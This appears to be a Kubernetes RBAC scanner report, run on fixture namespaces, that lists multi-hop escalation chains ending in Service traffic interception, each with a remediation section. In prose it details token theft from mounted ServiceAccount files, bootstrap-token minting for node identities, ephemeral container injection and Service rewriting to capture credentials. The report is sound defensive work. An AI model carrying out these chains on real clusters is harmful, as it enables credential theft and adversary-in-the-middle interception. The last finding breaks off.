Subject ServiceAccount/privesc-fixtures/sa-pod-exec has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's podIP, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.

The chain (3 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
2. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator via pod_create_token_theft (create pods): can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
3. ServiceAccount/hookbackend-fixtures/hookbackend-operator → / via service_backend_rewrite (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses

What this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: hard when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, moderate when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.

Impact Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-pod-exec.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/rbac-fixtures/sa-pod-create and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/hookbackend-fixtures/hookbackend-operator ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  4. Acting as ServiceAccount/hookbackend-fixtures/hookbackend-operator, the attacker rewrites a Service's spec (get,list,patch services): its selector, so it points at pods the attacker controls, its ports, or its type (an ExternalName sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.
  5. Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in Authorization headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side.
  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
  3. Step 3 of 3 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
Remediation
Remove write access to pods/status (and to endpointslices, endpoints, and services) from identities that are not the kubelet or a core controller, then break the chain at: remove the create pods capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  1. Break the chain at: remove the create pods capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  2. Audit who can write pod status: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == "pods/status") | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'. Expect system:node and a handful of system:controller:* roles, nothing bound to a workload.
  3. Alert on pods/status writes from identities that are not system:node:*: the audit event's user.username and objectRef.subresource fields identify them directly.
  4. For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.
  5. Avoid publishNotReadyAddresses: true on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects.
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter Cluster 6.4
ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can intercept in-cluster Service traffic in 4 hop(s)
Scope · Cluster Source ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → Service traffic interception
Category: Lateral Movement Subject: ServiceAccount/nodeid-fixtures/nodeid-tokenwriter

Subject ServiceAccount/nodeid-fixtures/nodeid-tokenwriter has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's podIP, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.

The chain (4 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → / via bootstrap_token_mint (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/rbac-fixtures/sa-pod-create via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator via pod_create_token_theft (create pods): can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
4. ServiceAccount/hookbackend-fixtures/hookbackend-operator → / via service_backend_rewrite (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses

What this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: hard when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, moderate when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.

Impact Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/nodeid-fixtures/nodeid-tokenwriter.
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-tokenwriter, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/hookbackend-fixtures/hookbackend-operator ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/hookbackend-fixtures/hookbackend-operator, the attacker rewrites a Service's spec (get,list,patch services): its selector, so it points at pods the attacker controls, its ports, or its type (an ExternalName sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.
  6. Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in Authorization headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side.
  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
  4. Step 4 of 4 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
Remediation
Remove write access to pods/status (and to endpointslices, endpoints, and services) from identities that are not the kubelet or a core controller, then break the chain at: remove the create pods capability that enables hop 3 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  1. Break the chain at: remove the create pods capability that enables hop 3 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  2. Audit who can write pod status: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == "pods/status") | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'. Expect system:node and a handful of system:controller:* roles, nothing bound to a workload.
  3. Alert on pods/status writes from identities that are not system:node:*: the audit event's user.username and objectRef.subresource fields identify them directly.
  4. For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.
  5. Avoid publishNotReadyAddresses: true on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects.
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint Cluster 6.4
ServiceAccount/privesc-fixtures/sa-secret-mint can intercept in-cluster Service traffic in 4 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-secret-mint → Service traffic interception
Category: Lateral Movement Subject: ServiceAccount/privesc-fixtures/sa-secret-mint

Subject ServiceAccount/privesc-fixtures/sa-secret-mint has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's podIP, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.

The chain (4 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-secret-mint → / via bootstrap_token_mint (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/rbac-fixtures/sa-pod-create via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator via pod_create_token_theft (create pods): can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
4. ServiceAccount/hookbackend-fixtures/hookbackend-operator → / via service_backend_rewrite (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses

What this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: hard when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, moderate when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.

Impact Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-secret-mint.
  2. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create,get secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/hookbackend-fixtures/hookbackend-operator ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/hookbackend-fixtures/hookbackend-operator, the attacker rewrites a Service's spec (get,list,patch services): its selector, so it points at pods the attacker controls, its ports, or its type (an ExternalName sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.
  6. Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in Authorization headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side.
  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
  4. Step 4 of 4 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
Remediation
Remove write access to pods/status (and to endpointslices, endpoints, and services) from identities that are not the kubelet or a core controller, then break the chain at: remove the create pods capability that enables hop 3 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  1. Break the chain at: remove the create pods capability that enables hop 3 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  2. Audit who can write pod status: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == "pods/status") | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'. Expect system:node and a handful of system:controller:* roles, nothing bound to a workload.
  3. Alert on pods/status writes from identities that are not system:node:*: the audit event's user.username and objectRef.subresource fields identify them directly.
  4. For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.
  5. Avoid publishNotReadyAddresses: true on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects.
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape Cluster 6.2
ServiceAccount/privesc-fixtures/sa-pod-create-escape can intercept in-cluster Service traffic in 4 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-create-escape → Service traffic interception
Category: Lateral Movement Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's podIP, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.

The chain (4 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
2. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator via pod_create_token_theft (create pods): can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
4. ServiceAccount/hookbackend-fixtures/hookbackend-operator → / via service_backend_rewrite (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses

What this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: hard when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, moderate when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.

Impact Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-pod-create-escape.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-ephemeral ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/rbac-fixtures/sa-pod-create via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/hookbackend-fixtures/hookbackend-operator ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/hookbackend-fixtures/hookbackend-operator, the attacker rewrites a Service's spec (get,list,patch services): its selector, so it points at pods the attacker controls, its ports, or its type (an ExternalName sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.
  6. Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in Authorization headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side.
  1. Step 1 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 4 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
  4. Step 4 of 4 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
Remediation
Remove write access to pods/status (and to endpointslices, endpoints, and services) from identities that are not the kubelet or a core controller, then break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral).
  1. Break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral).
  2. Audit who can write pod status: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == "pods/status") | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'. Expect system:node and a handful of system:controller:* roles, nothing bound to a workload.
  3. Alert on pods/status writes from identities that are not system:node:*: the audit event's user.username and objectRef.subresource fields identify them directly.
  4. For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.
  5. Avoid publishNotReadyAddresses: true on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects.
MEDIUM ServiceAccount/statusspoof-fixtures/statusspoof-writer Cluster 6.9
ServiceAccount/statusspoof-fixtures/statusspoof-writer can intercept in-cluster Service traffic in 1 hop(s)
Scope · Cluster Source ServiceAccount/statusspoof-fixtures/statusspoof-writer → Service traffic interception
Category: Lateral Movement Subject: ServiceAccount/statusspoof-fixtures/statusspoof-writer

Subject ServiceAccount/statusspoof-fixtures/statusspoof-writer has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's podIP, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.

The chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):
